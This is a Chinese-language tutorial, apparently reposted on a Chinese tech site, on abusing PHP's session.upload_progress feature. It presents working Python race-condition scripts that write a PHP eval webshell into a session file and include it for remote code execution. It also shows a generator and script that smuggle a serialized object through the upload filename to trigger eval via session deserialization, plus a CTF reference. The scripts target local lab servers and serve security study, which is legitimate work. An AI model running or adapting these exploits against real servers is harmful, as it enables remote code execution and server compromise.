溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎么利用session.upload_progress進行文件包含和反序列化滲透

發(fā)布時間:2021-12-17 16:23:03 來源:億速云 閱讀:128 作者:柒染 欄目:安全技術

這篇文章將為大家詳細講解有關怎么利用session.upload_progress進行文件包含和反序列化滲透,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。

前言

下面主要是利用PHP中的session.upload_progress功能作為跳板,從而進行文件包含和反序列化漏洞利用。由于首先需要了解關于session及其反序列化等相關的知識,所以對它們先進行介紹。

php中的session.upload_progress

這個功能在php5.4添加的,所以測試的小伙伴,注意下版本哦。

在php.ini有以下幾個默認選項

1. session.upload_progress.enabled = on
2. session.upload_progress.cleanup = on
3. session.upload_progress.prefix = "upload_progress_"
4. session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
5. session.upload_progress.freq = "1%"
6. session.upload_progress.min_freq = "1"

其實這里,我們只需要了解前四個配置選項即可,嘿嘿嘿,下面依次講解。

enabled=on表示upload_progress功能開始,也意味著當瀏覽器向服務器上傳一個文件時,php將會把此次文件上傳的詳細信息(如上傳時間、上傳進度等)存儲在session當中 ;

cleanup=on表示當文件上傳結束后,php將會立即清空對應session文件中的內容,這個選項非常重要;

name當它出現(xiàn)在表單中,php將會報告上傳進度,最大的好處是,它的值可控;

prefix+name將表示為session中的鍵名

session相關配置及session反序列化

因為這個不是本文的重點,所以這里附上幾個相關鏈接。

https://www.cnblogs.com/iamstudy/articles/php_serialize_problem.html

https://blog.spoock.com/2016/10/16/php-serialize-problem/?utm_source=tuicool&utm_medium=referral

另外,再添加個session配置中一個重要選項。

session.use_strict_mode=off這個選項默認值為off,表示我們對Cookie中sessionid可控。這一點至關重要,下面會用到。

利用session.upload_progress進行文件包含利用

測試環(huán)境

php5.5.38

win10

關于session相關的一切配置都是默認值

示例代碼

<?php
$b=$_GET['file'];
include "$b";
?>

可以發(fā)現(xiàn),存在一個文件包含漏洞,但是找不到一個可以包含的惡意文件。其實,我們可以利用session.upload_progress將惡意語句寫入session文件,從而包含session文件。前提需要知道session文件的存放位置。

分析

問題一

代碼里沒有session_start(),如何創(chuàng)建session文件呢。

解答一

其實,如果session.auto_start=On ,則PHP在接收請求的時候會自動初始化Session,不再需要執(zhí)行session_start()。但默認情況下,這個選項都是關閉的。

但session還有一個默認選項,session.use_strict_mode默認值為0。此時用戶是可以自己定義Session ID的。比如,我們在Cookie里設置PHPSESSID=TGAO,PHP將會在服務器上創(chuàng)建一個文件:/tmp/sess_TGAO”。即使此時用戶沒有初始化Session,PHP也會自動初始化Session。 并產生一個鍵值,這個鍵值有ini.get("session.upload_progress.prefix")+由我們構造的session.upload_progress.name值組成,最后被寫入sess_文件里。

問題二

但是問題來了,默認配置session.upload_progress.cleanup = on導致文件上傳后,session文件內容立即清空,

如何進行rce呢?

解答二

此時我們可以利用競爭,在session文件內容清空前進行包含利用。

利用腳本

#coding=utf-8

import io
import requests
import threading
sessid = 'TGAO'
data = {"cmd":"system('whoami');"}
def write(session):
   while True:
       f = io.BytesIO(b'a' * 1024 * 50)
       resp = session.post( 'http://127.0.0.1:5555/test56.php', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('tgao.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
   while True:
       resp = session.post('http://127.0.0.1:5555/test56.php?file=session/sess_'+sessid,data=data)
       if 'tgao.txt' in resp.text:
           print(resp.text)
           event.clear()
       else:
           print("[+++++++++++++]retry")
if __name__=="__main__":
   event=threading.Event()
   with requests.session() as session:
       for i in xrange(1,30):
           threading.Thread(target=write,args=(session,)).start()

       for i in xrange(1,30):
           threading.Thread(target=read,args=(session,)).start()
   event.set()

效果如下圖

怎么利用session.upload_progress進行文件包含和反序列化滲透

ctf題目

在最近,全國大學生信息安全競賽中有一題justsoso,其中一個頁面的代碼如下。

<html>
   <?php
   error_reporting(0);
   $file = $_GET["file"];
   $payload = $_GET["payload"];
   if(!isset($file)){
       echo 'Missing parameter'.'<br>';
   }
   if(preg_match("/flag/",$file)){
       die('hack attacked!!!');
   }
   @include($file);
   if(isset($payload)){
       $url = parse_url($_SERVER['REQUEST_URI']);
       parse_str($url['query'],$query);
       foreach($query as $value){
           if (preg_match("/flag/",$value)) {
               die('stop hacking!');
               exit();
           }
       }
       $payload = unserialize($payload);
   }else{
      echo "Missing parameters";
   }
   ?>
   <!--Please test index.php?file=xxx.php -->
   <!--Please get the source of hint.php-->
   </html>

在代碼前幾行可以看到,場景和前面的示例代碼類似,只不過對變量$file加了過濾,不過沒什么影響。

利用思路一樣,這里就不再說了,網上也有相應的解法。

小結

利用條件

1. 存在文件包含漏洞

2. 知道session文件存放路徑,可以嘗試默認路徑

3. 具有讀取和寫入session文件的權限

利用session.upload_progress進行反序列化攻擊

測試環(huán)境

php5.5.38

win10

session.serialize_handler=php_serialize,其余session相關配置為默認值

示例代碼

<?php
error_reporting(0);
date_default_timezone_set("Asia/Shanghai");
ini_set('session.serialize_handler','php');
session_start();
class Door{
   public $handle;

   function __construct() {
       $this->handle=new TimeNow();
   }

   function __destruct() {
       $this->handle->action();
   }
}
class TimeNow {
   function action() {
       echo "你的訪問時間:"."  ".date('Y-m-d H:i:s',time());
   }
}
class  IP{
   public $ip;
   function __construct() {
       $this->ip = 'echo $_SERVER["REMOTE_ADDR"];';
   }
   function action() {
       eval($this->ip);
   }
}
?>

分析

問題一

整個代碼沒有參數(shù)可控的地方。通過什么方法來進行反序列化利用呢

解答一

這里,利用PHP_SESSION_UPLOAD_PROGRESS上傳文件,其中利用文件名可控,從而構造惡意序列化語句并寫入session文件。

另外,與文件包含利用一樣,也需要進行競爭。

利用腳本

首先利用exp.php腳本構造惡意序列化語句


<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
class Door{
   public $handle;

   function __construct() {
       $this->handle = new IP();
   }

   function __destruct() {
       $this->handle->action();
   }
}
class TimeNow {
   function action() {
       echo "你的訪問時間:"."  ".date('Y-m-d H:i:s',time());
   }
}

class  IP{
   public $ip;
   function __construct() {
       //$this->ip='payload';
       $this->ip='phpinfo();';
       //$this->ip='print_r(scandir('/'));';
   }
   function action() {
       eval($this->ip);
   }
}
$a=new Door();
$b=serialize($a);
$c=addslashes($b);
$d=str_replace("O:4:","|O:4:",$c);
echo $d;
?>

其此利用exp.py腳本進行競爭

#coding=utf-8
import requests
import threading
import io
import sys

def exp(ip,port):
   
   f = io.BytesIO(b'a' * 1024 *1024*1)
   while True:
       et.wait()
       url = 'http://'+ip+':'+str(port)+'/test5.php'
       headers = {
       'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36',
       'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
       'Accept-Language': 'zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3',
       'DNT': '1',
       'Cookie': 'PHPSESSID=20190506',
       'Connection': 'close',
       'Upgrade-Insecure-Requests': '1'
       }
       proxy = {
       'http': '127.0.0.1:8080'
       }
       data={'PHP_SESSION_UPLOAD_PROGRESS':'123'}
       files={
           'file':(r'|O:4:\"Door\":1:{s:6:\"handle\";O:2:\"IP\":1:{s:2:\"ip\";s:10:\"phpinfo();\";}}',f,'text/plain')
       }
       resp = requests.post(url,headers=headers,data=data,files=files,proxies=proxy) #,proxies=proxy
       resp.encoding="utf-8"
       if len(resp.text)<2000:
           print('[+++++]retry')
       else:
           print(resp.content.decode('utf-8').encode('utf-8'))
           et.clear()
           print('success!')
           

if __name__ == "__main__":
   ip=sys.argv[1]
   port=int(sys.argv[2])
   et=threading.Event()
   for i in xrange(1,40):
       threading.Thread(target=exp,args=(ip,port)).start()
   et.set()

首先在代碼里加個代理,利用burp抓包。如下圖

怎么利用session.upload_progress進行文件包含和反序列化滲透

這里有幾個注意點:

PHPSESSID必須要有,因為要競爭同一個文件

filename可控,但是在值的最前面加上|,因為最終目的是利用session的反序列化,PHP_SESSION_UPLOAD_PROGRESS只是個跳板。其次把字符串中的雙引號轉義,以防止與最外層的雙引號沖突

上傳的文件要大些,否則很難競爭成功。我寫入是這么大f = io.BytesIO(b'a' * 1024 *1024*1)

filename值中出現(xiàn)漢字時,會出錯,所以在利用腳本前,一定要修改python源碼

最后把exp.py中的代理去掉,直接跑exp.py,效果如下。

怎么利用session.upload_progress進行文件包含和反序列化滲透

幾次失敗嘗試

其實,利用burp抓到exp.py流量后,可以直接在burp爆破,但貌似數(shù)據包數(shù)據有點多,導致burp反應很慢,最終失敗。

另外,我嘗試偽造PHP_SESSION_UPLOAD_PROGRESS的值,但是值中一旦出現(xiàn)|,將會導致數(shù)據寫入session文件失敗。

關于怎么利用session.upload_progress進行文件包含和反序列化滲透就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI